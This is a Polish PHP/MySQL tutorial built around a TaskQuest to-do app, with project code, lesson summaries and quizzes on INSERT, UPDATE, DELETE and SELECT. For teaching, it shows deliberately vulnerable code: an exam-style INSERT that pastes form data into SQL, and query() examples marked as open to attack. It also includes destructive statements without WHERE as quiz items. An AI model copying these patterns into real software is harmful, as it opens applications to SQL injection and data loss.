        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie->set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    $zadania = [];

    while ($wiersz = $wynik->fetch_assoc()) {
        $zadania[] = new Zadanie(
            id: $wiersz['id'],
            tytul: $wiersz['tytul'],
            opis: $wiersz['opis'],
            termin: $wiersz['termin'],
            wykonane: $wiersz['data_wykonania'] !== null,
            xp: $wiersz['xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz['id'],
        login: $wiersz['login'],
        imieUzytkownika: $wiersz['imie'],
        xp: $wiersz['xp'],
        streak: $wiersz['streak'],
        dataOstatniejAktywnosci: $wiersz['data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie->prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz['id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie->bind_param('i', $limit);
    $zapytanie->execute();

    return $zapytanie->get_result()->fetch_all(MYSQLI_ASSOC);
}

function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie->prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie->bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie->execute();

    return $zapytanie->insert_id;
}

function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz['id'],
        tytul: $wiersz['tytul'],
        opis: $wiersz['opis'],
        termin: $wiersz['termin'],
        wykonane: $wiersz['data_wykonania'] !== null,
        xp: $wiersz['xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie->prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();

    return $zapytanie->affected_rows === 1;
}

function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie->prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie->bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie->execute();
}

function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie->prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();

    return $zapytanie->affected_rows === 1;
}

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST['id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION['uzytkownik_id'];

try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik->aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie->pobierzXp(), $uzytkownik->pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie->pobierzXp() . ' XP');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '<p class="blad">Nie udało się zapisać zmiany: ' . $wyjatek->getMessage() . '</p>';
    echo '<p><a href="index.php">← Wróć do listy zadań</a></p>';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;

            if (!$zadanie->czyWykonane()) {
                echo '<form class="akcja" method="post" action="oznacz-wykonane.php">';
                echo '<input type="hidden" name="id" value="' . $zadanie->pobierzId() . '">';
                echo '<button type="submit">Zrobione!</button>';
                echo '</form>';
            }

            echo '<form class="akcja" method="post" action="usun-zadanie.php">';
            echo '<input type="hidden" name="id" value="' . $zadanie->pobierzId() . '">';
            echo '<button type="submit">Usuń</button>';
            echo '</form>';

        <p>TaskQuest 1.9</p>
    </div>
</body>
</html>

klasa Zadanie (bez zmian), funkcje listy, grywalizacji, terminów (także aktualizujStreak()), tekstowe, sesji
walidujNoweZadanie(), formularz dodawania zachowujący wpisane dane, ramka $bladZapisu, komunikat jednorazowy, POST → przekierowanie → GET
logowanie jak po Lekcji 18 (login bez hasła), w sesji tylko uzytkownik_id
index.php: blok danych z bazy, obsługa awarii bazy, liczniki, filtr widoku + cookie, pasek XP, .po-terminie, ranking
baza taskquest i sql/taskquest.sql (bez zmian)
Uzytkownik::dodajXp(), Zadanie::oznaczJakoWykonane() — nadal nieużywane przez aplikację

includes/funkcje_bazy.php:
    dodajZadanie(mysqli, int, string, string, string, int): int              — INSERT, zwraca insert_id
    wczytajZadanieUzytkownika(mysqli, int $zadanieId, int $uzytkownikId): ?Zadanie
    oznaczZadanieJakoWykonane(mysqli, int, int): bool                        — UPDATE z IS NULL
    zapiszPostepUzytkownika(mysqli, int $uzytkownikId, int $zdobyteXp, int $streak): void
    usunZadanie(mysqli, int, int): bool                                      — DELETE
oznacz-wykonane.php, usun-zadanie.php                                        — tylko POST, bez HTML
index.php: przyciski „Zrobione!” i „Usuń” (form.akcja, pole ukryte id), link „+ Dodaj zadanie”
header.php: form.akcja

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię napisać INSERT z listą kolumn i wiem, które kolumny mogę pominąć.
[ ] Potrafię napisać UPDATE i DELETE z WHERE — i wiem, co się stanie bez WHERE.
[ ] Potrafię zwiększyć wartość w bazie względem obecnej (xp = xp + ?) i wiem, czemu to lepsze niż zapis gotowej liczby.
[ ] Wiem, co liczy affected_rows przy UPDATE i dlaczego 0 nie znaczy „nie ma wiersza”.
[ ] Wiem, do czego służy insert_id.
[ ] Potrafię wyjaśnić, dlaczego każde UPDATE/DELETE zadania ma warunek uzytkownik_id = ?.
[ ] Potrafię wyjaśnić, dlaczego XP przyznajemy na podstawie wyniku UPDATE z IS NULL, a nie wcześniejszego odczytu.
[ ] Wiem, dlaczego „Zrobione!” i „Usuń” to formularze POST, a nie linki.
[ ] Wiem, gdzie i kiedy liczony jest teraz streak.
[ ] Potrafię opisać, co się dzieje z danymi, gdy z dwóch zapytań uda się tylko pierwsze.
[ ] W projekcie nie ma już CSV ani funkcji plikowych.
[ ] Usunęłam/usunąłem brudnopis.

UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2 AND data_wykonania IS NULL;
DELETE FROM zadania WHERE uzytkownik_id = 3;

$zapytanie = $polaczenie->prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
$zapytanie->bind_param('i', $zadanieId, (int) $_SESSION['uzytkownik_id']);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

PODSUMOWANIE LEKCJI

W skrócie

• INSERT, UPDATE i DELETE nie zwracają wierszy. Znika więc ostatni krok znany z SELECT — po execute() nie ma get_result(). Efekt sprawdzamy przez affected_rows (PDO: rowCount()).
• affected_rows przy UPDATE to liczba wierszy, które naprawdę się zmieniły, a nie tych, które pasowały do WHERE. Zapis tej samej wartości daje 0. Dlatego 0 nie znaczy „nie ma takiego wiersza”.
• UPDATE i DELETE bez WHERE działają na całej tabeli. W PHP nie ma pytania „czy na pewno?” i nie ma cofnięcia.
• WHERE pełni rolę bezpiecznika i ma zwykle dwa rodzaje warunków:
  • właściciela (AND uzytkownik_id = ?) — żeby nie dało się zmienić cudzego rekordu,
  • stanu (AND data_wykonania IS NULL) — żeby ta sama operacja nie zadziałała drugi raz.
• Prepared statement chroni przed SQL injection, ale nie przed brakiem sprawdzenia uprawnień. To dwa różne błędy: pierwszy dotyczy sklejania SQL, drugi — zaufania danym z formularza.
• O tym, czy nagroda (XP) się należy, decyduje wynik UPDATE z warunkiem stanu, a nie wcześniejszy odczyt przez SELECT. Odczyt może być nieaktualny (dwie karty, dwa kliknięcia).
• xp = xp + ? zmienia wartość względem obecnej — baza dolicza do tego, co ma w chwili zapisu. Odczyt XP do PHP, dodanie i zapisanie gotowej liczby nadpisuje zmianę zrobioną w międzyczasie.
• insert_id (PDO: lastInsertId()) daje id nadane przez AUTO_INCREMENT. Nie trzeba go zgadywać ani wyliczać.
• bind_param() przyjmuje tylko zmienne. bind_param('i', 5) albo bind_param('i', (int) $_POST['id']) kończy się błędem („cannot be passed by reference”).
• Dwa zapytania to nie jedna operacja. Jeśli pierwsze się uda, a drugie nie, pierwsza zmiana zostaje w bazie (zadanie wykonane, XP nieprzyznane). Rozwiązaniem jest transakcja — zadanie końcowe C.
• Każda strona zmieniająca dane działa w schemacie POST → przekierowanie → GET: sprawdź metodę żądania, zapisz zmianę, header('Location: ...') i exit;. Bez tego F5 powtarza operację.

Minimum, które powinno wejść w pamięć

Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:

1. INSERT INTO tabela (kolumny) VALUES (wartości) — kolumny i wartości w tej samej kolejności; id z AUTO_INCREMENT i kolumny z wartością domyślną można pominąć.
2. UPDATE i DELETE zawsze z WHERE. Bez WHERE = cała tabela, nieodwracalnie.
3. Po INSERT / UPDATE / DELETE nie ma get_result(). Efekt to affected_rows (PDO: rowCount()), nowe id to insert_id (PDO: lastInsertId()).
4. affected_rows == 0 znaczy „nic się nie zmieniło”, a nie „nie ma takiego wiersza”.
5. Każde zapytanie, które mogłoby trafić w cudzy rekord, ma AND uzytkownik_id = ?. Prepared statement tego nie załatwia.
6. Warunek stanu (AND data_wykonania IS NULL) umieszczamy w tym samym UPDATE, który zmienia dane — nie w osobnym if w PHP.
7. xp = xp + ? zamiast odczytu i zapisu gotowej liczby.
8. bind_param() przyjmuje zmienne, nie stałe i nie wyrażenia; liczba liter typów = liczba ? (i, s, d).
9. Dane zmieniamy tylko przez POST, a po zapisie: header('Location: ...'); exit;.
10. IS NULL, nie = NULL.

Ściągawka – najważniejsze polecenia i składnia

SQL

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Tytuł', '', '2026-10-10', 10);

UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = 5 AND uzytkownik_id = 2 AND data_wykonania IS NULL;

UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;   -- względem obecnej wartości

DELETE FROM zadania WHERE id = 5 AND uzytkownik_id = 2;

CURDATE() → dzisiejsza data (RRRR-MM-DD), NOW() → data z godziną.

MySQLi obiektowo (TaskQuest)

$zapytanie = $polaczenie->prepare('INSERT INTO zadania (uzytkownik_id, tytul) VALUES (?, ?)');
$zapytanie->bind_param('is', $uzytkownikId, $tytul);
$zapytanie->execute();

$noweId = $zapytanie->insert_id;        // id nadane przez AUTO_INCREMENT
$ile    = $zapytanie->affected_rows;    // ile wierszy się zmieniło

Typy w bind_param(): i — liczba całkowita, s — tekst (także data), d — liczba z przecinkiem.

Schemat funkcji zmieniającej dane

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie->prepare(
        'UPDATE zadania SET data_wykonania = CURDATE()
         WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();

    return $zapytanie->affected_rows === 1;
}

PDO

$stmt = $pdo->prepare('UPDATE players SET email = ? WHERE id = ?');
$stmt->execute([$email, $id]);

$ile    = $stmt->rowCount();
$noweId = $pdo->lastInsertId();   // na POŁĄCZENIU, nie na zapytaniu

Strona zmieniająca dane (POST → przekierowanie → GET)

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}
// walidacja → zapis → komunikat w sesji
header('Location: index.php');
exit;                       // ZAWSZE exit po header()

Wersja proceduralna — tylko na egzaminie

Arkusz INF.03 udostępnia wyłącznie te funkcje, więc zapis wygląda tak:

$polaczenie = mysqli_connect('localhost', 'root', '', 'wodospady');

if (isset($_POST['idObiekt'])) {
    $idObiekt  = $_POST['idObiekt'];
    $idTurysta = $_POST['idTurysta'];
    mysqli_query($polaczenie, "INSERT INTO osiagniecia (idObiekt, idTurysta)
                               VALUES ('$idObiekt', '$idTurysta')");
}

mysqli_close($polaczenie);

Poza egzaminem tak nie piszemy — to sklejanie SQL z danymi użytkownika, czyli podatność na SQL injection z Lekcji 18.

Quiz – sprawdź się

1. Uzupełnij polecenie i odpowiedz, co stanie się z pominiętymi kolumnami id oraz data_wykonania:INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
______ (2, 'Powtórka SQL', '', '2026-11-05', 15);


2. Ola ma 240 XP. Podaj affected_rows po pierwszym i po drugim wykonaniu tego polecenia:UPDATE uzytkownicy SET xp = 250 WHERE id = 2;


3. Znajdź dwa błędy:$zapytanie = $polaczenie->prepare('UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ?');
$zapytanie->bind_param('i', $zadanieId);
$zapytanie->execute();
$wynik = $zapytanie->get_result();


4. Dlaczego UPDATE uzytkownicy SET xp = xp + ? WHERE id = ? jest lepsze niż odczytanie XP SELECT-em, dodanie w PHP i zapisanie gotowej liczby przez SET xp = ??

5. Co się stanie po uruchomieniu tej linii i jak ją poprawić?$zapytanie->bind_param('ii', $zadanieId, (int) $_SESSION['uzytkownik_id']);
Kolega usunął z zapytania warunek AND uzytkownik_id = ?:DELETE FROM zadania WHERE id = ?
Twierdzi, że jest bezpiecznie, bo to prepared statement. Co może zrobić zalogowana Ola i dlaczego prepared statement tu nie pomaga?

6. Uzupełnij warunek tak, żeby gracz nie dostał XP dwa razy za to samo zadanie:UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = ? AND uzytkownik_id = ? ______


7. Skrypt zapisuje dane i kończy się linią header('Location: index.php');. Czego brakuje i jakie dwa problemy może to spowodować?

8. Po INSERT chcemy przekierować użytkownika na profil.php?id=... nowo dodanego gracza. Skąd wziąć to id w MySQLi, a skąd w PDO?

9. Co zrobi to polecenie uruchomione w phpMyAdmin i czy da się je cofnąć?DELETE FROM zadania;


10. Przycisk „Zrobione!” można było zrobić jako zwykły link oznacz-wykonane.php?id=3. Podaj dwa konkretne problemy takiej wersji.

11. Na egzaminie masz napisać skrypt, który po wysłaniu formularza wstawia do tabeli osiagniecia wartości idObiekt i idTurysta pobrane z formularza. Wypisz kolejne kroki skryptu (od połączenia do zamknięcia) i wskaż, który z nich decyduje o tym, że skrypt nie zapisuje niczego przy zwykłym wejściu na stronę.

12. Zadanie praktyczne. Napisz funkcję zmienEmailGracza(mysqli $polaczenie, int $graczId, string $email): bool, która zmienia e-mail gracza w tabeli players i zwraca true tylko wtedy, gdy wiersz faktycznie się zmienił. Wyjaśnij, kiedy zwróci false mimo poprawnego id.

Artykuł 19. PHP – skrypty zmieniające dane w bazie danych – INSERT, UPDATE, DELETE pochodzi z serwisu Kama Kaczmarek.

Lekcja 17: bazy danych, mysqli i PDO, projekt tabel TaskQuest. Odpowiedz z pamięci.

1. Masz projekt, który być może zostanie przeniesiony z MySQL na PostgreSQL. Które rozszerzenie wybierzesz i dlaczego?

2. Co w tej definicji jest niepoprawne i jaki będzie skutek?CREATE TABLE zadania (
id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
tytul VARCHAR(100) NOT NULL,
xp INT UNSIGNED NOT NULL DEFAULT 0,
) ENGINE=InnoDB;


3. Kolumna login ma NOT NULL UNIQUE. Które z tych operacji baza odrzuci?
   a) dodanie użytkownika bez podania loginu,
   b) dodanie drugiego użytkownika o loginie Ola_TQ,
   c) dodanie użytkownika z loginem ola_tq, gdy istnieje Ola_TQ.

4. Dlaczego kolumna uzytkownik_id jest w tabeli zadania, a nie kolumna zadania_id w tabeli uzytkownicy?

5. Uczeń chce dodać do tabeli uzytkownicy kolumnę poziom, bo „łatwiej będzie ją wyświetlić”. Co mu odpowiesz i na jaką zasadę się powołasz?

6. Dwa z tych wierszy INSERT nie zapiszą tego, czego oczekuje autor. Które i dlaczego?INSERT INTO uzytkownicy (login, imie, xp, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, '2026-09-14'),
('Ola_TQ', 'Ola', '250', 'NULL'),
('Bartek_9', 'Bartek', 0, '01.09.2026');


7. Baza ma kodowanie utf8, a nie utf8mb4. Kiedy zobaczysz problem, a kiedy nie?

TaskQuest

Dodatek

Bazy danych to fundament większości aplikacji webowych. Za każdym razem gdy:

• Przeglądasz posty na Instagramie
• Sprawdzasz ranking w grze online
• Szukasz wiadomości na Discordzie
• Oglądasz playlistę na Spotify

W tym materiale nauczysz się pobierać dane z bazy MySQL/MariaDB używając PHP. To podstawowa umiejętność, którą musisz opanować przed nauką modyfikowania danych (INSERT, UPDATE, DELETE – te operacje poznasz w następnym temacie).

Dane dostępowe do bazy

Niezależnie od wybranej metody, potrzebujesz 4 podstawowych informacji:

$serwer = 'localhost';       // Adres serwera (localhost lub 127.0.0.1)
$user = 'root';              // Nazwa użytkownika bazy
$pass = '';                  // Hasło (domyślnie puste w XAMPP)
$baza = 'nazwa_bazy';        // Nazwa Twojej bazy danych

UWAGA: W środowisku produkcyjnym (na prawdziwym serwerze):

• Hasło NIE MOŻE być puste!
• Użytkownik NIE POWINIEN być root
• Dane logowania przechowuj w oddzielnym pliku (np. config.php)
• Nigdy nie commituj danych dostępowych do GitHuba!

Przykład pliku config.php:

<?php
// config.php - NIE COMMITUJ tego pliku do repozytorium!

define('DB_HOST', 'localhost');
define('DB_USER', 'twoj_user');
define('DB_PASS', 'twoje_silne_haslo');
define('DB_NAME', 'nazwa_bazy');
?>

Użycie w kodzie PDO:

<?php
require_once 'config.php';

... łączenie z bazą ...
?>

Przygotowanie – Utworzenie przykładowej bazy

Przed rozpoczęciem nauki potrzebujesz bazy z przykładowymi danymi. Stworzymy bazę gaming_hub z tabelą graczy – będzie bardziej interesująca niż klasyczne „imię i nazwisko”

Krok 1: Otwórz phpMyAdmin

W przeglądarce wejdź na:

http://localhost/phpmyadmin

Krok 2: Utwórz nową bazę danych

• Kliknij zakładkę „Bazy danych”
• W polu „Utwórz bazę danych” wpisz: gaming_hub
• Wybierz kodowanie: utf8mb4_unicode_ci (poprawniejsze sortowanie wielu języków, lepsza zgodność Unicode, obsługa polskich znaków; mb4 w utf8mb4 oznacza „maximum bytes 4” — czyli kodowanie UTF-8 obsługujące znaki zajmujące do 4 bajtów.)
• Kliknij „Utwórz”

Krok 3: Utwórz tabelę z danymi

Kliknij na bazę gaming_hub, przejdź do zakładki SQL i wykonaj poniższy kod:

-- Tabela graczy
CREATE TABLE players (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100),
    level INT DEFAULT 1,
    coins INT DEFAULT 0,
    rank_name VARCHAR(20) DEFAULT 'Bronze',
    games_played INT DEFAULT 0,
    wins INT DEFAULT 0,
    losses INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Przykładowe dane graczy (15 rekordów)
INSERT INTO players (username, email, level, coins, rank_name, games_played, wins, losses, last_login) VALUES
('ProGamer_Mike', 'mike@example.com', 45, 12500, 'Diamond', 850, 520, 330, NOW()),
('xX_Anna_Xx', 'anna@example.com', 32, 8900, 'Platinum', 620, 380, 240, NOW()),
('NinjaKiller', 'ninja@example.com', 67, 23400, 'Master', 1240, 890, 350, NOW()),
('ShadowHunter', 'shadow@example.com', 28, 6700, 'Gold', 490, 270, 220, DATE_SUB(NOW(), INTERVAL 2 DAY)),
('DragonSlayer99', 'dragon@example.com', 19, 4200, 'Silver', 320, 160, 160, DATE_SUB(NOW(), INTERVAL 5 DAY)),
('CoolGamer', 'cool@example.com', 52, 15600, 'Diamond', 980, 610, 370, NOW()),
('LegendaryPlayer', 'legend@example.com', 89, 45000, 'Grandmaster', 2100, 1560, 540, NOW()),
('NoobMaster', 'noob@example.com', 8, 1200, 'Bronze', 85, 30, 55, DATE_SUB(NOW(), INTERVAL 10 DAY)),
('FastFingers', 'fast@example.com', 41, 11200, 'Platinum', 740, 450, 290, NOW()),
('SilentAssassin', 'silent@example.com', 36, 9800, 'Platinum', 680, 410, 270, DATE_SUB(NOW(), INTERVAL 1 DAY)),
('ThunderStrike', 'thunder@example.com', 24, 5600, 'Gold', 410, 220, 190, DATE_SUB(NOW(), INTERVAL 3 DAY)),
('IceQueen', 'ice@example.com', 55, 17800, 'Diamond', 1050, 670, 380, NOW()),
('FireStorm', 'fire@example.com', 15, 3100, 'Silver', 250, 120, 130, DATE_SUB(NOW(), INTERVAL 7 DAY)),
('MysticWarrior', 'mystic@example.com', 63, 21000, 'Master', 1180, 800, 380, NOW()),
('SpeedDemon', 'speed@example.com', 29, 7200, 'Gold', 520, 290, 230, DATE_SUB(NOW(), INTERVAL 4 DAY));

Struktura tabeli players:

Sposoby połączenia z bazą danych

PHP oferuje 2 nowoczesne sposoby komunikacji z MySQL, podejście proceduralne pomijamy jako przestarzałe.

1. MySQLi – Podejście obiektowe

Wykorzystujemy klasę mysqli.

$db = new mysqli($serwer, $user, $pass, $baza);

Podejście dobre, ale tylko dla MySQL/MariaDB

2. PDO – PHP Data Objects (ZALECANE!)

$pdo = new PDO("mysql:host=$serwer;dbname=$baza;charset=utf8mb4", $user, $pass);

Podejście uniwersalne, bezpieczne, nowoczesne

Łączenie z bazą danych

MySQLi – Podejście obiektowe

<?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Wyłączamy automatyczne raportowanie błędów
mysqli_report(MYSQLI_REPORT_OFF);

// Połączenie obiektowe (@ ukrywa ostrzeżenia)
$db = @new mysqli($serwer, $user, $pass, $baza);

// Sprawdzenie połączenia
if ($db->connect_error) {
    die("Błąd połączenia: {$db->connect_error}");
}

echo 'Połączenie nawiązano!<br>';

// Ustawienie kodowania (ważne dla polskich znaków i emoji!)
$db->set_charset('utf8mb4');

// ... wykonywanie zapytań ...

// Zamknięcie połączenia
$db->close();
?>

Dostępne właściwości do obsługi błędów:

$db->connect_error   // Opis błędu połączenia
$db->connect_errno   // Kod błędu połączenia
$db->error           // Opis ostatniego błędu
$db->errno           // Kod ostatniego błędu

PDO – PHP Data Objects

<?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Opcje PDO dla bezpieczeństwa i wygody
$opcje = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,        // Włącz wyjątki
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,   // Domyślnie tablica asocjacyjna
    PDO::ATTR_EMULATE_PREPARES => false,                // Prawdziwe prepared statements
];

try {
    // Połączenie PDO
    $pdo = new PDO(
        "mysql:host=$serwer;dbname=$baza;charset=utf8mb4",
        $user,
        $pass,
        $opcje
    );
    
    echo 'Połączenie nawiązano!<br>';
    
    // ... wykonywanie zapytań ...
    
} catch (PDOException $e) {
    // W prawdziwej aplikacji NIE pokazuj szczegółów błędu użytkownikowi!
    error_log("DB Error: {$e->getMessage()}");
    die('Nie można połączyć się z bazą danych. Spróbuj później.');
}

// Zamknięcie połączenia
$pdo = null;
?>

• PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION – rzuca wyjątki przy błędach (łatwiej debugować)
• PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC – zwraca tablice asocjacyjne (czytelniejsze)
• PDO::ATTR_EMULATE_PREPARES => false – prawdziwe prepared statements (bezpieczniejsze)

Zamykanie połączenia z bazą

Operacja zamknięcia połączenia jest automatycznie wykonywana po zakończeniu skryptu. Jeżeli potrzebujemy zakończyć połączenie wcześniej:

MySQLi obiektowo:

$db->close();

PDO:

$pdo = null;
// lub
unset($pdo);

W praktyce: Rzadko musisz ręcznie zamykać połączenie – PHP robi to automatycznie po zakończeniu skryptu, ale na egzaminie zawodowym jest to wymagane.

SELECT – Pobieranie wszystkich rekordów

UWAGA: stosowanie query() nie zapewnia bezpieczeństwa w przypadku ataków SQJ Injection. Zamiast query należy używać parameterized prepared statements (opracowanie dalej w temacie). Aby query() było bezpieczne należy stosować mysqli_real_escape_string().

Użycie samego query() jest dopuszczalne na egzaminie zawodowym, jednak w prawdziwych projektach ZAWSZE używaj prepared statements.

Przykład 1: MySQLi obiektowo – PODATNE NA ATAKI! – tak nie rób

<?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die("Błąd połączenia: {$db->connect_error}");
}

$db->set_charset('utf8mb4');
echo 'Połączenie nawiązano<br><br>';

// Zapytanie SQL - pobierz wszystkich graczy
$sql = "SELECT * FROM players";
$wynik = $db->query($sql);

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik->num_rows;
echo "Znaleziono graczy: <strong>{$ile_wierszy}</strong><br><br>";

// Wyświetlamy w tabeli
echo '<table border="1" cellpadding="10" cellspacing="0">';
echo '<tr>
        <th>ID</th>
        <th>Username</th>
        <th>Level</th>
        <th>Coins</th>
        <th>Rank</th>
        <th>Wins/Losses</th>
      </tr>';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik->fetch_assoc()) {
    $username = htmlspecialchars($wiersz['username']);
    $coins = number_format($wiersz['coins']);
    
    echo "<tr>";
    echo "<td>{$wiersz['id']}</td>";
    echo "<td>{$username}</td>";
    echo "<td>{$wiersz['level']}</td>";
    echo "<td>{$coins}</td>";
    echo "<td>{$wiersz['rank_name']}</td>";
    echo "<td>{$wiersz['wins']}/{$wiersz['losses']}</td>";
    echo "</tr>";
}

echo '</table>';

// Zamknięcie połączenia
$db->close();
?>

Alternatywnie – pętla foreach

<?php
// ... (połączenie jak wyżej)

$sql = "SELECT * FROM players";
$wynik = $db->query($sql);

echo "Znaleziono graczy: {$wynik->num_rows}<br><br>";

foreach ($wynik as $row) {
    $username = htmlspecialchars($row['username']);
    echo "{$row['id']} - {$username} (Level: {$row['level']})<br>";
}

$db->close();
?>

Przykład 1: PDO – PODATNE NA ATAKI! – tak nie rób

<?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
    
    echo 'Połączenie nawiązano<br><br>';
    
    // Zapytanie SQL
    $sql = "SELECT * FROM players";
    $stmt = $pdo->query($sql);
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt->fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: <strong>{$liczba_graczy}</strong><br><br>";
    
